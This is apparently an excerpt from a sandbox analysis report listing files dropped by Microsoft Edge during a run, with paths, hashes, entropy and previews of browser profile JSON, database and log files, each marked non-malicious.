Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17589), with no line terminators
Category:	dropped
Size (bytes):	17593
Entropy (8bit):	5.488050334010808
Encrypted:	false
SSDEEP:	384:stbPGQSu4FVsbkCD6QZtXCi5DDbGoQwu3W:sJOXujkCdbG3jW
MD5:	58B968AF7BD14E062887E7F3E6A6BF3B
SHA1:	CBB1915E4254B5F844879D76D1A3A5DF8EA25D00
SHA-256:	1A99380BDBD810302508525B0367B813E909FDF63161C3ABDBA4E75A21017966
SHA-512:	ADED81DFF36CB84D87D821867B39D4DA6FF3ECF4763F4F0891B676C8B50C3A494177BB3B70D1E82DD5E8E077D9BBEF6F4626AD5399AE46EE4C4A550634A98F1F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892036062038","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b4ae3cc5-a8a6-4962-9dc5-91cd4f0c572b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561554987284976
Encrypted:	false
SSDEEP:	768:YUda3kWQl7pLGLPBjW5w7Hf4AY8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPL6DkISfG:Yegk/zcPBjWa7HfbYu1jay6DM8SMJhPr
MD5:	62C35915370D2379A77D8E56F157CC51
SHA1:	3028A3869AD88CC5238FC31323777F1347AFE409
SHA-256:	29BD7EDE31528A978E2CC019A0F48A1A47A07BFDAB87DA62CDA7E40514FADD17
SHA-512:	4862B8CA980851F551C372B7AF9C23C2722914619AC9F4018C78AA9E70A4DC4A8AB5A73724EE22CC15731B9BEE22FCBC58D63A22D2AE4ED857168D69B1B28E91
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376892035583316","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376892035583316","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bad07d72-5e4b-4e51-a99f-03d94e3600ec.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17424), with no line terminators
Category:	dropped
Size (bytes):	17428
Entropy (8bit):	5.4910703946227235
Encrypted:	false
SSDEEP:	384:stbPGQSu4FVsbkCD6QZtXCi5DDbGoQwuW:sJOXujkCdbG3vW
MD5:	B733901837B064DF216C5ABBED531F76
SHA1:	2AF9853BB551A051DE30328C383B4304363DC747
SHA-256:	1F1795FE1AD3527F883D4F1536FEAB38C064A75CC7E3329BF772201BD343C4DB
SHA-512:	6C713A20D853975A22F9D66F0EE3127D5B7A44F97DF75763A59511182E14B76F3EC9BD4FDF4F4BE4EE183BD4958DA88F78DCDD8DAADDDFC340E19B150A790D11
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892036062038","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d41d0580-db88-469a-8071-1667250d510a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10267546965263273
Encrypted:	false
SSDEEP:	12:+fhYfhRspEjVl/PnnnnnnnnnnnvoQ/Eou:+fefsoPnnnnnnnnnnnv1j
MD5:	5502B1B1C8FB211F61456C1134D8AD85
SHA1:	D6AD742FC6A4B252028F263DAE87B76B6FCFEEB9
SHA-256:	1D2C92B4653A79BA0AA1B28C625811F00A0D9436A9FA0B9DAD87BA258239759D
SHA-512:	B0FC0E3073563F66F8BA7663A713B84E0FE8D43ED55763B4097364F484FDC841625C3954901CB50DF3804AD84125D70B018492D2394D3B0345A34A336526186C
Malicious:	false
Preview:	..-.............M...........!.$J...V...w.a.i....-.............M...........!.$J...V...w.a.i..........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8875058800469444
Encrypted:	false
SSDEEP:	384:JjrH+B8VqobKA3R0M17FHRv1VTMv8Pyey41y5ZyLHQyUxyWS:xyM
MD5:	45F806077F7F5876028AD094E7F2AF3C
SHA1:	7CFF5EF56ECF3A0196C2E7EB983B40E068B44695
SHA-256:	9866490E484BA510DE02906F2BD0CB217722DE233F83D0207DB6E0992E75C070
SHA-512:	41FBED484E8A382A727851B153BCEF0390C7C114A00EE4861628D50B1AFE0D99535B9837A568D65134E87AB7314011A33789E8F8FAE321E3F922BA99D669B38D
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	693
Entropy (8bit):	3.575927158156154
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuukpll/BqcgU8G:pHay5LlP
MD5:	479D3FE0ACC5D6F7FF91B8F8D6B47F68
SHA1:	D2DFD47C8C3727AC89D9F722421CE1CA72B75899
SHA-256:	1BE1C2DB6448CED2291B5FE7BC6DA79FBA727671DF36541F08990BAB0285E187
SHA-512:	C5615B96D3B7F131F8AB339C886CE2F67AF58046147CFB666254F2B419784ACC8FD762BD465863548895D3D65FFA8F46F02A0CCA9E4770F6E8C78CB3F28E0E31
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............\\..:...............#38_h.......6.Z..W.F.....S,......S,.........^V.e................V.e................V.e.................N..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.188383117541791
Encrypted:	false
SSDEEP:	6:HG+MDISlWM+q2PN723oH+TcwtfrK+IFUt8YG+MDISz1Zmw+YG+MEDfjWMVkwON7S:0lL+vVaYeb23FUt85Z/+o7jLV5OaYeb5
MD5:	166A1175F4E13072F515F6E8BAE90234
SHA1:	33F9CA0DC6D10004CD91E48F87790A53F3365CDE
SHA-256:	077B61DC2DD3137CCC18B846ED5927BDB2DC03E52F73A75C3AF2B270B10E13AE
SHA-512:	299FCDB664077C074BE1DFF9556C0BBBC7B4BB986E2E7453A2FE3571143A93896B34CA61F11B08A3384EAAAF51FE152B9ADFA2160EA08E677456E74E8F769FDE
Malicious:	false
Preview:	2024/11/23-22:20:36.087 1f1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/23-22:20:36.087 1f1c Recovering log #3.2024/11/23-22:20:36.088 1f1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.188383117541791
Encrypted:	false
SSDEEP:	6:HG+MDISlWM+q2PN723oH+TcwtfrK+IFUt8YG+MDISz1Zmw+YG+MEDfjWMVkwON7S:0lL+vVaYeb23FUt85Z/+o7jLV5OaYeb5
MD5:	166A1175F4E13072F515F6E8BAE90234
SHA1:	33F9CA0DC6D10004CD91E48F87790A53F3365CDE
SHA-256:	077B61DC2DD3137CCC18B846ED5927BDB2DC03E52F73A75C3AF2B270B10E13AE
SHA-512:	299FCDB664077C074BE1DFF9556C0BBBC7B4BB986E2E7453A2FE3571143A93896B34CA61F11B08A3384EAAAF51FE152B9ADFA2160EA08E677456E74E8F769FDE
Malicious:	false
Preview:	2024/11/23-22:20:36.087 1f1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/23-22:20:36.087 1f1c Recovering log #3.2024/11/23-22:20:36.088 1f1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.160719766538603
Encrypted:	false
SSDEEP:	6:HG+M3WM+q2PN723oH+TcwtfrzAdIFUt8YG+M81Zmw+YG+MqWMVkwON723oH+Tcwc:EL+vVaYeb9FUt8e/+mLV5OaYeb2J
MD5:	2353D18B7EEC786E1EB8FEBBFCB3D43F
SHA1:	BC57F4549C8E05722EF97860FC68F1153B333037
SHA-256:	76586A0397409BBDCB9A5D07FDFBA558FE6CBA84AF7E1FFA18ABFBB872042EE8
SHA-512:	C0D2A9AF1C949FF33D3C4F2062F655EE9F581C2517F32FD781063B9A9A947BB2C9326DD47326D63FF8096E08AFA72E05ECEE171A17A146417E10C89A6BC3E460
Malicious:	false
Preview:	2024/11/23-22:20:36.083 1f1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/23-22:20:36.084 1f1c Recovering log #3.2024/11/23-22:20:36.084 1f1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.160719766538603
Encrypted:	false
SSDEEP:	6:HG+M3WM+q2PN723oH+TcwtfrzAdIFUt8YG+M81Zmw+YG+MqWMVkwON723oH+Tcwc:EL+vVaYeb9FUt8e/+mLV5OaYeb2J
MD5:	2353D18B7EEC786E1EB8FEBBFCB3D43F
SHA1:	BC57F4549C8E05722EF97860FC68F1153B333037
SHA-256:	76586A0397409BBDCB9A5D07FDFBA558FE6CBA84AF7E1FFA18ABFBB872042EE8
SHA-512:	C0D2A9AF1C949FF33D3C4F2062F655EE9F581C2517F32FD781063B9A9A947BB2C9326DD47326D63FF8096E08AFA72E05ECEE171A17A146417E10C89A6BC3E460
Malicious:	false
Preview:	2024/11/23-22:20:36.083 1f1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/23-22:20:36.084 1f1c Recovering log #3.2024/11/23-22:20:36.084 1f1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089767122376445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWZdi1zNtPMukzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynH1kzItSmd6qE7lFoC
MD5:	E0CAFFCBE0B57275CFE1C6DB70D327B9
SHA1:	7CF78E404DFB068670F26E1FC150DC0AC33E8752
SHA-256:	3AA8A0A520F7EBE945413987305792FB233E65A8DB601E46DFC9465C85A087CE
SHA-512:	353A34596ED4F5E6301209B0B9C04C8E71D516BFF037C515651152F5AEE2B9CE2FA5F7A0D59C815BF297CB9A4C76519D2C83E509D5FDD67389E12C1442D35ED9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3af9a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089767122376445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWZdi1zNtPMukzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynH1kzItSmd6qE7lFoC
MD5:	E0CAFFCBE0B57275CFE1C6DB70D327B9
SHA1:	7CF78E404DFB068670F26E1FC150DC0AC33E8752
SHA-256:	3AA8A0A520F7EBE945413987305792FB233E65A8DB601E46DFC9465C85A087CE
SHA-512:	353A34596ED4F5E6301209B0B9C04C8E71D516BFF037C515651152F5AEE2B9CE2FA5F7A0D59C815BF297CB9A4C76519D2C83E509D5FDD67389E12C1442D35ED9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3afaa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089767122376445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWZdi1zNtPMukzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynH1kzItSmd6qE7lFoC
MD5:	E0CAFFCBE0B57275CFE1C6DB70D327B9
SHA1:	7CF78E404DFB068670F26E1FC150DC0AC33E8752
SHA-256:	3AA8A0A520F7EBE945413987305792FB233E65A8DB601E46DFC9465C85A087CE
SHA-512:	353A34596ED4F5E6301209B0B9C04C8E71D516BFF037C515651152F5AEE2B9CE2FA5F7A0D59C815BF297CB9A4C76519D2C83E509D5FDD67389E12C1442D35ED9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b121.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089767122376445
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWZdi1zNtPMukzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynH1kzItSmd6qE7lFoC
MD5:	E0CAFFCBE0B57275CFE1C6DB70D327B9
SHA1:	7CF78E404DFB068670F26E1FC150DC0AC33E8752
